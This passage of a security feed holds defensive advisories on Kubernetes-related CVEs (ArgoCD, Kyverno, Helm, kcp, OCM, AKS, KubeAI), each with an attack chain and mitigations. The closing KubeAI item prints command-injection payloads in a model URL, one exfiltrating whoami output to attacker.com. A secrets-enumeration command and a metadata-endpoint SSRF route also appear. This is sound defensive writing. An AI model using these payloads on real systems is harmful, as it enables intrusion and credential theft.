potentially introduce malicious code into the targeted environments. The vulnerability was reported on 2026-04-15. Defenders must ensure proper access control and validation mechanisms are in place to mitigate the risk of exploitation.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains access to an ArgoCD account with permissions to create or modify ImageUpdater resources.</li>
<li>Attacker crafts a malicious ImageUpdater resource that targets an application in a different namespace.</li>
<li>The malicious ImageUpdater resource specifies a container image to be updated.</li>
<li>ArgoCD Image Updater processes the malicious ImageUpdater resource.</li>
<li>Due to insufficient validation, the Image Updater bypasses namespace boundaries.</li>
<li>The Image Updater triggers an update to the target application&rsquo;s container image in the other namespace.</li>
<li>The target application is now running with the attacker-controlled container image.</li>
<li>The attacker achieves cross-namespace privilege escalation and compromises the target application&rsquo;s integrity.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-6388 allows an attacker to perform unauthorized image updates across namespaces in a multi-tenant ArgoCD environment. This leads to cross-namespace privilege escalation, enabling attackers to compromise applications managed by other tenants. The compromised applications may be used to conduct further attacks, steal sensitive data, or cause disruption. The severity is considered critical due to the potential for widespread impact and the relative ease of exploitation for attackers with the required permissions.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Implement strict Role-Based Access Control (RBAC) policies within ArgoCD to limit the ability of users to create or modify ImageUpdater resources (reference: Overview section).</li>
<li>Deploy the provided Sigma rule to detect suspicious ImageUpdater resource modifications targeting multiple namespaces (reference: rules section).</li>
<li>Thoroughly review and harden the ImageUpdater validation logic to prevent namespace bypass (reference: CVE-2026-6388).</li>
<li>Monitor ArgoCD logs for any attempts to create or modify ImageUpdater resources from unusual or unauthorized sources (reference: rules logsource).</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>argocd</category><category>privilege-escalation</category><category>kubernetes</category><category>cve-2026-6388</category></item><item><title>Kyverno SSRF Vulnerability in CEL HTTP Library</title><link>https://feed.craftedsignal.io/briefs/2024-01-08-kyverno-ssrf/</link><pubDate>Tue, 14 Apr 2026 22:37:20 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-08-kyverno-ssrf/</guid><description>A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests, enabling unauthorized access to internal services, cloud metadata endpoints, and data exfiltration.</description><content:encoded><![CDATA[<p>A Server-Side Request Forgery (SSRF) vulnerability has been identified in Kyverno&rsquo;s CEL HTTP library (<code>pkg/cel/libs/http/</code>), affecting versions &gt;= 1.16.0. This flaw allows users with permissions to create namespace-scoped policies to bypass intended restrictions and make arbitrary HTTP requests from the Kyverno admission controller. This can lead to unauthorized access to internal Kubernetes services in other namespaces, cloud metadata endpoints such as 169.254.169.254 (allowing credential theft), and the exfiltration of sensitive data by embedding it in policy error messages. The vulnerability stems from a lack of URL validation in the <code>http.Get()</code> and <code>http.Post()</code> functions used within CEL policies, contrasting with the namespace enforcement present in the <code>resource.Lib</code>. The reported vulnerability was tested and confirmed on Kyverno v1.16.2 deployed via Helm chart 3.6.2.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains the ability to create NamespacedValidatingPolicy resources within a specific Kubernetes namespace. This could be achieved through compromised credentials, misconfigured RBAC, or other privilege escalation methods.</li>
<li>The attacker crafts a malicious NamespacedValidatingPolicy that utilizes the <code>http.Get()</code> or <code>http.Post()</code> function within a CEL expression. The crafted policy is applied to the target Kubernetes cluster.</li>
<li>The CEL expression within the policy is designed to make an HTTP request to an internal service (e.g., <code>internal-api.kube-system.svc.cluster.local</code>) or a cloud metadata endpoint (<code>169.254.169.254</code>).</li>
<li>The crafted NamespacedValidatingPolicy is triggered by a specific event, such as the creation of a ConfigMap within the attacker&rsquo;s namespace, which matches the <code>matchConstraints</code> defined in the policy.</li>
<li>The Kyverno admission controller executes the CEL expression, making the HTTP request to the specified internal service or cloud metadata endpoint.</li>
<li>The HTTP response from the internal service or cloud metadata endpoint is captured by the CEL expression.</li>
<li>The attacker crafts a <code>messageExpression</code> within the NamespacedValidatingPolicy to include the captured data in a validation error message.</li>
<li>The validation error message, containing the exfiltrated data, is returned to the user, effectively leaking sensitive information.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>This SSRF vulnerability allows attackers with limited, namespace-scoped privileges to access sensitive data within a Kubernetes cluster. This includes the ability to access services in other namespaces, potentially compromising sensitive configurations or secrets. Access to cloud metadata endpoints (169.254.169.254) allows the theft of IAM credentials, leading to further escalation of privileges within the cloud environment. Successful exploitation breaks namespace isolation, undermining the security model of Kyverno and Kubernetes.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule to detect suspicious usage of <code>http.Get</code> or <code>http.Post</code> function in <code>NamespacedValidatingPolicy</code> resources in your SIEM and tune for your environment.</li>
<li>Monitor network connections originating from the Kyverno pods, specifically looking for connections to internal Kubernetes services or cloud metadata endpoints (169.254.169.254), using the <code>network_connection</code> log source.</li>
<li>Apply the suggested fix by adding namespace and URL restrictions to <code>pkg/cel/libs/http/http.go</code> in Kyverno, similar to how <code>resource.Lib</code> enforces namespace boundaries as per the advisory.</li>
<li>Upgrade Kyverno to a patched version &gt;= 1.17 when available, addressing the CVE-2026-4789.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>SSRF</category><category>kyverno</category><category>kubernetes</category><category>cel</category><category>cloud-security</category></item><item><title>Red Hat OpenShift AI odh-dashboard Kubernetes Token Disclosure (CVE-2026-5483)</title><link>https://feed.craftedsignal.io/briefs/2026-04-openshift-token-disclosure/</link><pubDate>Sat, 11 Apr 2026 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-openshift-token-disclosure/</guid><description>CVE-2026-5483 is a high-severity vulnerability in the `odh-dashboard` component of Red Hat OpenShift AI (RHOAI) that allows for the disclosure of Kubernetes Service Account tokens through a NodeJS endpoint, potentially leading to unauthorized access to Kubernetes resources.</description><content:encoded><![CDATA[<p>A vulnerability, CVE-2026-5483, has been identified in the <code>odh-dashboard</code> component of Red Hat OpenShift AI (RHOAI). This flaw allows for the unintended disclosure of Kubernetes Service Account tokens via a NodeJS endpoint. Discovered in April 2026, the vulnerability stems from the insertion of sensitive information into sent data. An attacker with knowledge of the vulnerable endpoint can potentially exploit this to gain unauthorized access to Kubernetes resources within the affected OpenShift environment. This poses a significant risk, particularly in environments where OpenShift AI is used to manage sensitive data or critical infrastructure.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker identifies a Red Hat OpenShift AI instance running the vulnerable <code>odh-dashboard</code> component.</li>
<li>The attacker crafts a malicious HTTP request targeting the vulnerable NodeJS endpoint responsible for handling Kubernetes Service Account tokens.</li>
<li>The vulnerable endpoint processes the request without proper sanitization or access controls.</li>
<li>The Kubernetes Service Account token is inadvertently included in the response data due to the CWE-201 vulnerability (Insertion of Sensitive Information Into Sent Data).</li>
<li>The attacker intercepts or captures the response containing the leaked Kubernetes Service Account token.</li>
<li>The attacker uses the compromised Kubernetes Service Account token to authenticate to the Kubernetes API.</li>
<li>The attacker enumerates the Kubernetes cluster to identify potential targets and resources.</li>
<li>The attacker leverages the compromised Service Account privileges to access sensitive data, modify configurations, or deploy malicious workloads within the Kubernetes cluster.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-5483 can lead to unauthorized access to Kubernetes resources within a Red Hat OpenShift AI environment. The disclosure of Kubernetes Service Account tokens allows an attacker to bypass authentication controls and potentially gain complete control over the cluster. This could result in data breaches, service disruptions, and the deployment of malicious applications, affecting all users and applications relying on the compromised OpenShift AI instance. The severity is high, with a CVSS v3.1 base score of 8.5.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Apply the patch provided by Red Hat via RHSA-2026:7397 to remediate the vulnerability in <code>odh-dashboard</code>.</li>
<li>Monitor web server logs for suspicious requests targeting NodeJS endpoints associated with <code>odh-dashboard</code> using the &ldquo;Detect OpenShift Token Disclosure Attempt&rdquo; Sigma rule.</li>
<li>Implement network segmentation to limit the impact of a potential compromise and restrict access to sensitive Kubernetes resources.</li>
<li>Enable and review Kubernetes audit logs to detect unauthorized activity performed by compromised service accounts.</li>
<li>Rotate Kubernetes Service Account tokens regularly to minimize the window of opportunity for an attacker to exploit leaked credentials.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>openshift</category><category>kubernetes</category><category>token-disclosure</category><category>cve-2026-5483</category></item><item><title>Helm Plugin Path Traversal Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-04-helm-path-traversal/</link><pubDate>Sat, 11 Apr 2026 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-helm-path-traversal/</guid><description>A path traversal vulnerability in Helm versions 4.0.0 to 4.1.3 allows a malicious plugin to write files to arbitrary locations on the filesystem, leading to potential system compromise.</description><content:encoded><![CDATA[<p>Helm, a package manager for Kubernetes charts, is vulnerable to a path traversal issue. Specifically, Helm versions 4.0.0 through 4.1.3 are affected. A maliciously crafted Helm plugin, when installed or updated, can exploit this vulnerability (CVE-2026-35204) to write the plugin&rsquo;s contents to arbitrary locations on the user&rsquo;s filesystem. This can lead to overwriting critical system files or user data, potentially compromising the system&rsquo;s integrity. Helm v4.1.4 resolves this vulnerability by rejecting plugins with non-SemVer versions containing path traversal patterns. Defenders should ensure Helm installations are updated to the patched version or implement workarounds to validate plugin metadata.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker crafts a malicious Helm plugin. This plugin contains a <code>plugin.yaml</code> file with a <code>version</code> field that includes POSIX dot-dot path separators (e.g., <code>/../</code>).</li>
<li>The attacker distributes the malicious plugin to potential victims, possibly through public repositories or direct spear phishing.</li>
<li>A victim attempts to install or update the Helm plugin using the <code>helm plugin install</code> or <code>helm plugin update</code> command.</li>
<li>Helm parses the <code>plugin.yaml</code> file and extracts the <code>version</code> field, which contains the path traversal characters.</li>
<li>Due to the vulnerability, Helm incorrectly resolves the file path, allowing the plugin&rsquo;s contents to be written outside the intended plugin directory.</li>
<li>The malicious plugin overwrites arbitrary files on the user&rsquo;s system based on the path specified in the <code>version</code> field.</li>
<li>Depending on the files overwritten, the attacker can achieve various malicious objectives, such as gaining persistence, escalating privileges, or executing arbitrary code.</li>
<li>The attacker achieves persistence by overwriting system startup scripts or configuration files, allowing the malicious code to run automatically on system reboot.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows attackers to overwrite arbitrary files on the victim&rsquo;s system. This can lead to various detrimental outcomes, including data loss, system instability, privilege escalation, and ultimately, complete system compromise. While the specific number of victims is unknown, any user running a vulnerable version of Helm (4.0.0 - 4.1.3) is at risk. The potential impact includes compromising Kubernetes deployments and sensitive data stored on affected systems.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Helm to version 4.1.4 or later to remediate CVE-2026-35204, as this version includes a patch that prevents path traversal during plugin installation.</li>
<li>Implement a validation step before installing or updating Helm plugins, checking the <code>plugin.yaml</code> file for a <code>version:</code> field containing POSIX dot-dot path separators. This mitigates the risk described in the workaround section of the advisory.</li>
<li>Deploy the Sigma rule &ldquo;Helm Plugin Install with Path Traversal&rdquo; to detect attempts to install plugins with malicious <code>version</code> fields, using file_event logs.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>helm</category><category>path-traversal</category><category>vulnerability</category><category>plugin</category><category>kubernetes</category></item><item><title>Multiple Cloud Secrets Accessed by Single Source IP</title><link>https://feed.craftedsignal.io/briefs/2024-02-multi-cloud-secrets-access/</link><pubDate>Fri, 10 Apr 2026 16:27:52 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-02-multi-cloud-secrets-access/</guid><description>A single source IP accessing secret-management APIs across multiple cloud providers (AWS, GCP, Azure) and Kubernetes clusters within a short timeframe indicates potential credential theft, session hijacking, or token replay.</description><content:encoded><![CDATA[<p>This threat brief focuses on the detection of potential credential compromise and abuse in multi-cloud environments. The core issue is the observation of a single source IP address accessing secret stores across multiple cloud providers (AWS Secrets Manager, Google Secret Manager, Azure Key Vault) and Kubernetes clusters within a short timeframe. This behavior, detected by the Elastic rule &ldquo;Multiple Cloud Secrets Accessed by Source Address&rdquo; published on 2026-04-10, is indicative of an adversary attempting to harvest secrets using stolen credentials, hijacked sessions, or replayed tokens. The rule is designed to identify anomalous cross-cloud secret retrieval, which is uncommon in legitimate multi-cloud orchestration scenarios. Defenders need to identify the source IP, the accessed secrets, and potential compromise scope to mitigate the threat effectively.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Initial Access:</strong> Adversary gains access to valid credentials or session tokens through various means like phishing, malware, or exposed credentials. (T1555, T1566)</li>
<li><strong>Authentication:</strong> Adversary uses the compromised credentials or tokens to authenticate to one of the cloud provider&rsquo;s API (AWS, Azure, GCP).</li>
<li><strong>Discovery (AWS):</strong> The adversary leverages the AWS CLI or API to enumerate available secrets stored in AWS Secrets Manager using <code>GetSecretValue</code> API calls.</li>
<li><strong>Discovery (Azure):</strong> The adversary uses compromised credentials to interact with Azure Key Vault, utilizing <code>SecretGet</code> or <code>KeyGet</code> actions to discover accessible secrets.</li>
<li><strong>Discovery (GCP):</strong> The adversary uses compromised service account or user credentials to access Google Secret Manager and enumerate accessible secrets using <code>google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion</code> or <code>google.cloud.secretmanager.v1.SecretManagerService.GetSecretRequest</code>.</li>
<li><strong>Discovery (Kubernetes):</strong> The adversary uses compromised credentials to access the Kubernetes API and enumerate secrets within the cluster, specifically targeting the <code>secrets</code> resource with <code>get</code> or <code>list</code> verbs.</li>
<li><strong>Credential Access:</strong> The adversary retrieves the secret values from each cloud provider and Kubernetes cluster. (T1555.006)</li>
<li><strong>Exfiltration/Lateral Movement:</strong> The adversary exfiltrates the retrieved secrets for further malicious activities, such as lateral movement within the cloud environments or unauthorized access to sensitive data.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful attack can lead to the exfiltration of sensitive data, including API keys, database passwords, and encryption keys. This could result in unauthorized access to critical systems and data, potentially leading to data breaches, financial loss, and reputational damage. The impact is amplified in multi-cloud environments as the adversary can leverage the compromised secrets to move laterally between different cloud providers, increasing the scope and severity of the attack.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the provided Sigma rule &ldquo;Multiple Cloud Secrets Accessed by Source Address&rdquo; to your SIEM to detect this activity across your cloud environments. Enable required logging: GCP Audit DATA_READ for Secret Manager API, Azure Key Vault Diagnostic Logging, and AWS CloudTrail for Secrets Manager.</li>
<li>Investigate any alerts triggered by the Sigma rule by validating the principal (user, service account) and reviewing related activity (authentication, privilege escalation). Check application context, user agent, and IP reputation as detailed in the rule&rsquo;s triage steps.</li>
<li>Restrict or disable affected credentials or service accounts and rotate all accessed secrets if the activity is unauthorized or suspicious, as described in the rule&rsquo;s Response and Remediation steps.</li>
<li>Harden identity security by enforcing MFA, reducing permissions to least privilege, and reviewing trust relationships. Audit visibility should be improved by ensuring logging is enabled across all cloud environments.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>credential-access</category><category>cloud</category><category>kubernetes</category></item><item><title>Unauthenticated Access to kcp Cache Server</title><link>https://feed.craftedsignal.io/briefs/2026-04-kcp-cache-unauth/</link><pubDate>Wed, 08 Apr 2026 15:04:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-kcp-cache-unauth/</guid><description>The kcp cache server is exposed without authentication, allowing unauthorized read access to sensitive data and a race condition for write access that could lead to temporary privilege escalation.</description><content:encoded><![CDATA[<p>The kcp (Kubernetes Cluster Platform) cache server, responsible for replicating resources, is directly exposed by the root shard without any authentication or authorization checks. This vulnerability allows anyone with network access to the root shard to read replicated resources and potentially write to the cache server, creating a race condition. The lack of authentication in the preHandlerChainMux, specifically identified in <code>pkg/server/config.go</code> at line 514-518, causes the cache server to be proxied before authentication or authorization can take place. This impacts kcp versions prior to v0.29.3 and between v0.30.0 and v0.30.3. This vulnerability allows unauthorized access to sensitive information, including RBAC rules, cluster topology, API surfaces, admission control policies, and tenancy configurations.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains network access to the kcp root shard, typically through exposed ports or external URLs.</li>
<li>Attacker crafts an HTTP request targeting the <code>/services/cache/*</code> endpoint without any authentication headers.</li>
<li>The request bypasses authentication and authorization checks due to the flawed preHandlerChainMux configuration.</li>
<li>The attacker reads replicated resources from the cache, such as clusterroles, clusterrolebindings, logicalclusters, apiexports, and validatingwebhookconfigurations.</li>
<li>(Optional) The attacker attempts to inject a malicious ClusterRole and ClusterRoleBinding via a POST request to the cache server.</li>
<li>The cache etcd watch fires, notifying the authorization informer and replication controller in parallel.</li>
<li>The authorization informer updates its in-memory store, briefly granting the attacker the injected RBAC rules.</li>
<li>The replication controller eventually reconciles and deletes the injected object, but a small window of opportunity exists for privilege escalation.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthorized access to critical cluster information, potentially exposing RBAC configurations, API endpoints, and internal infrastructure details. An attacker can read replicated resources, including cluster roles, cluster role bindings, logical clusters, shards, API exports, API resource schemas, mutating webhook configurations, validating webhook configurations, validating admission policies, and workspace types. While injected objects are quickly cleaned up, a brief race condition allows for temporary privilege escalation. This affects kcp deployments where the root shard is network-reachable by untrusted clients, including Helm chart deployments, Operator deployments with external URLs set, and deployments with a reachable &ndash;shard-external-url.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Implement network-level access control to restrict access to the <code>/services/cache/*</code> paths at the load balancer, reverse proxy, or firewall level as described in the <strong>Workarounds</strong> section of the advisory.</li>
<li>Deploy the cache server separately with its own kubeconfig (<code>--cache-server-kubeconfig</code>) and restrict network access to it, mitigating direct exposure to the root shard as per the <strong>Workarounds</strong> section.</li>
<li>Upgrade to kcp version v0.29.3 or v0.30.3 or later to patch the vulnerability as per <strong>CVE-2026-39429</strong>.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kcp</category><category>kubernetes</category><category>cache</category><category>authentication</category><category>authorization</category><category>privilege-escalation</category></item><item><title>Red Hat Open Cluster Management (OCM) Cross-Cluster Privilege Escalation via Forged Certificates (CVE-2026-4740)</title><link>https://feed.craftedsignal.io/briefs/2026-04-ocm-privesc/</link><pubDate>Tue, 07 Apr 2026 15:17:46 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-ocm-privesc/</guid><description>CVE-2026-4740 describes a vulnerability in Red Hat Open Cluster Management (OCM) where improper validation of Kubernetes client certificate renewal allows a managed cluster administrator to forge certificates, enabling cross-cluster privilege escalation.</description><content:encoded><![CDATA[<p>A critical vulnerability, CVE-2026-4740, exists within Red Hat Advanced Cluster Management (ACM), which utilizes Open Cluster Management (OCM) technology. This flaw stems from the improper validation of Kubernetes client certificate renewal requests. A malicious managed cluster administrator can exploit this vulnerability to forge a client certificate. This forged certificate, if approved by the OCM controller, grants the attacker elevated privileges across different clusters. The successful exploitation of this vulnerability can lead to an attacker gaining complete control over other managed clusters and potentially the central hub cluster, posing a significant threat to the entire ACM environment. This vulnerability impacts any environment utilizing Red Hat Advanced Cluster Management.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>A managed cluster administrator gains initial access to a managed Kubernetes cluster within the ACM environment.</li>
<li>The attacker crafts a malicious Kubernetes client certificate renewal request, exploiting the lack of proper validation in OCM.</li>
<li>The forged certificate request is submitted to the OCM controller for approval.</li>
<li>Due to insufficient validation, the OCM controller approves the forged client certificate.</li>
<li>The attacker uses the approved, forged certificate to authenticate to other managed clusters.</li>
<li>Using the forged certificate, the attacker escalates privileges within the targeted managed clusters.</li>
<li>The attacker leverages escalated privileges to move laterally across the cluster.</li>
<li>The attacker gains control of the targeted managed clusters, potentially including the central hub cluster, allowing for data exfiltration, service disruption, or other malicious activities.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-4740 can lead to complete compromise of the Red Hat Advanced Cluster Management environment. A malicious managed cluster administrator can leverage this vulnerability to gain control over other managed clusters, including the hub cluster. This allows for unauthorized access to sensitive data, disruption of critical services, and potential deployment of malicious workloads across the compromised clusters. The vulnerability has a CVSS v3.1 score of 8.2, indicating a high severity. The number of potential victims depends on the scope of ACM deployments.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Apply the patch or upgrade to a version of Red Hat Advanced Cluster Management (ACM) that addresses CVE-2026-4740 to remediate the improper certificate validation.</li>
<li>Implement stricter validation policies for Kubernetes client certificate renewal requests within your OCM environment to prevent the forging of certificates.</li>
<li>Monitor Kubernetes API server logs for suspicious certificate creation or approval activities, using the <code>title: &quot;Detect Suspicious Kubernetes Certificate Creation&quot;</code> Sigma rule provided below.</li>
<li>Implement Role-Based Access Control (RBAC) policies within your Kubernetes clusters to limit the privileges of managed cluster administrators and mitigate the impact of potential privilege escalation.</li>
<li>Monitor the OCM controller logs for certificate-related events as they relate to CVE-2026-4740.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>kubernetes</category><category>privilege-escalation</category><category>cve-2026-4740</category><category>ocm</category><category>acm</category></item><item><title>Kubernetes Secret Access via Unusual User Agent</title><link>https://feed.craftedsignal.io/briefs/2024-01-09-kubernetes-secret-access/</link><pubDate>Mon, 06 Apr 2026 12:05:33 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-09-kubernetes-secret-access/</guid><description>Detects unusual access to Kubernetes secrets, potentially indicating an attacker attempting to steal sensitive information after gaining initial access to the cluster.</description><content:encoded><![CDATA[<p>This detection rule identifies instances where Kubernetes secrets are accessed through atypical means, specifically flagging requests originating from unusual user agents, usernames, or source IPs. The underlying assumption is that after compromising a pod or stealing a kubeconfig file, adversaries often attempt to harvest sensitive information stored as secrets within the Kubernetes cluster. This includes service account tokens, registry credentials, cloud keys, and other critical data. This activity can lead to privilege escalation and lateral movement within the cluster or the wider cloud environment. The rule focuses on identifying deviations from established access patterns to Kubernetes secrets to detect potentially malicious activity. The rule leverages data from kubernetes.audit_logs.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Initial Compromise:</strong> An attacker gains initial access to the Kubernetes cluster, potentially by exploiting a vulnerability in a pod or by stealing a kubeconfig file.</li>
<li><strong>Discovery:</strong> The attacker enumerates available resources within the cluster to identify potential targets, including secrets. This might involve using <code>kubectl get secrets --all-namespaces</code>.</li>
<li><strong>Credential Theft:</strong> The attacker attempts to access Kubernetes secrets using an unusual user agent, source IP, or user name. For example, using <code>curl</code> from a compromised pod to access the Kubernetes API.</li>
<li><strong>Data Exfiltration:</strong> The attacker retrieves the contents of the secrets. Secrets might contain service account tokens, registry credentials, cloud IAM keys, database passwords, etc.</li>
<li><strong>Lateral Movement:</strong> With stolen credentials, the attacker attempts to move laterally within the cluster or the connected cloud environment. They might use the credentials to access other pods, services, or cloud resources.</li>
<li><strong>Privilege Escalation:</strong> The attacker uses the stolen credentials to escalate their privileges within the Kubernetes cluster or the cloud environment. For example, creating new roles or role bindings.</li>
<li><strong>Persistence:</strong> The attacker establishes persistence by creating backdoors or modifying existing deployments. This might involve creating new pods or modifying existing deployments.</li>
<li><strong>Impact:</strong> The attacker achieves their objective, such as data theft, denial of service, or infrastructure compromise.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation can lead to the compromise of sensitive data stored within Kubernetes secrets. This could include database credentials, API keys, and service account tokens. The impact can range from unauthorized access to sensitive data, to complete compromise of the Kubernetes cluster and the connected cloud environment. This can affect any organization using Kubernetes to manage their applications, potentially leading to data breaches, service disruptions, and financial losses. The severity depends on the sensitivity of the data stored in the compromised secrets and the level of access the attacker gains.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Kubernetes Secret Access via Unusual User Agent</code> to your SIEM and tune for your environment to detect unusual access patterns to Kubernetes secrets.</li>
<li>Investigate and validate any alerts generated by the deployed Sigma rule, focusing on the requesting identity, source IP, and user agent to confirm whether they align with approved access records.</li>
<li>Implement RBAC least privilege to limit access to secrets to only the required service accounts and users to minimize the potential impact of credential theft.</li>
<li>Monitor Kubernetes audit logs (<code>logs-kubernetes.audit_logs-*</code>) for suspicious activity, including unusual API calls and access patterns to sensitive resources.</li>
<li>Regularly rotate secrets and credentials to minimize the window of opportunity for attackers to use stolen credentials.</li>
</ul>
]]></content:encoded><category domain="severity">low</category><category domain="type">advisory</category><category>kubernetes</category><category>credential-access</category><category>cloud</category></item><item><title>CVE-2026-33105 - Microsoft Azure Kubernetes Service Privilege Escalation</title><link>https://feed.craftedsignal.io/briefs/2026-04-azure-kubernetes-privesc/</link><pubDate>Fri, 03 Apr 2026 00:16:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-azure-kubernetes-privesc/</guid><description>CVE-2026-33105 is a critical vulnerability in Microsoft Azure Kubernetes Service that allows an unauthorized attacker to elevate privileges over a network due to improper authorization.</description><content:encoded><![CDATA[<p>CVE-2026-33105, discovered in April 2026, is a critical vulnerability affecting Microsoft Azure Kubernetes Service (AKS). This vulnerability stems from an improper authorization mechanism, allowing an unauthorized attacker to elevate privileges within the network. With a CVSS v3.1 score of 10.0, this flaw represents a severe risk. Successful exploitation could grant attackers complete control over the AKS cluster, potentially impacting all workloads and data managed by the service. Given the widespread adoption of AKS for container orchestration, this vulnerability poses a significant threat to organizations relying on Azure&rsquo;s Kubernetes infrastructure. Defenders should prioritize patching and implement detection measures to mitigate potential exploitation.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An unauthenticated attacker gains initial access to the network where the AKS cluster is deployed.</li>
<li>The attacker exploits the improper authorization vulnerability (CVE-2026-33105) within the AKS control plane.</li>
<li>Using the vulnerability, the attacker bypasses intended access controls.</li>
<li>The attacker escalates privileges, gaining administrative rights within the AKS cluster.</li>
<li>The attacker leverages the elevated privileges to access sensitive resources, such as Kubernetes secrets and configuration files.</li>
<li>The attacker deploys malicious containers or modifies existing deployments to further compromise the environment.</li>
<li>The attacker gains control over the worker nodes in the AKS cluster.</li>
<li>The attacker uses compromised worker nodes to move laterally within the network, potentially targeting other Azure services or on-premises resources.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-33105 allows an attacker to gain full control over an Azure Kubernetes Service cluster. This includes the ability to deploy, modify, and delete workloads, access sensitive data, and potentially pivot to other Azure resources or on-premises networks. Given the critical nature of many applications hosted on Kubernetes, this could lead to significant data breaches, service disruptions, and financial losses. The lack of specific victim numbers makes it impossible to assess the scale of damage, however any unpatched AKS cluster is potentially at risk.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Apply the patch released by Microsoft to address CVE-2026-33105 on all AKS clusters immediately (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33105)">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33105)</a>.</li>
<li>Implement network segmentation to limit the blast radius of a potential compromise.</li>
<li>Monitor AKS audit logs for suspicious activity indicative of privilege escalation attempts.</li>
<li>Deploy the following Sigma rule to detect suspicious processes connecting to the Kubernetes API server, and tune it for your environment.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>azure</category><category>kubernetes</category><category>privilege-escalation</category></item><item><title>KubeAI OS Command Injection via Model URL in Ollama Engine Startup Probe</title><link>https://feed.craftedsignal.io/briefs/2026-04-kubeai-command-injection/</link><pubDate>Wed, 01 Apr 2026 23:22:43 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-kubeai-command-injection/</guid><description>The KubeAI project is vulnerable to OS command injection because the `ollamaStartupProbeScript()` function constructs a shell command string using `fmt.Sprintf` with unsanitized model URL components (`ref`, `modelParam`), which is then executed via `bash -c` as a Kubernetes startup probe, allowing arbitrary command execution inside model server pods by attackers with the ability to create or update `Model` custom resources.</description><content:encoded><![CDATA[<p>KubeAI versions 0.23.1 and earlier are vulnerable to an OS command injection flaw in the Ollama engine&rsquo;s startup probe. The vulnerability stems from the <code>ollamaStartupProbeScript()</code> function, which constructs a shell command using <code>fmt.Sprintf</code> with unsanitized model URL components (<code>ref</code> and <code>modelParam</code>). These components are extracted from the Model custom resource URL. An attacker who can create or update <code>Model</code> custom resources can inject arbitrary shell commands, which are then executed within the model server pods. This occurs because the extracted URL components are not sanitized before being interpolated into a shell command executed by <code>bash -c</code>. Successful exploitation allows attackers to compromise the model serving infrastructure and potentially access sensitive information or execute commands on the underlying host.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains the ability to create or update <code>Model</code> custom resources in a KubeAI environment. This could be through compromised credentials, misconfigured RBAC permissions, or other vulnerabilities.</li>
<li>The attacker crafts a malicious <code>Model</code> custom resource with a specially crafted URL in the <code>spec.url</code> field. The URL contains shell metacharacters and commands within the <code>ref</code> component or the <code>model</code> query parameter. For example, <code>ollama://registry.example.com/model;id&gt;/tmp/pwned;echo</code> or <code>pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo</code>.</li>
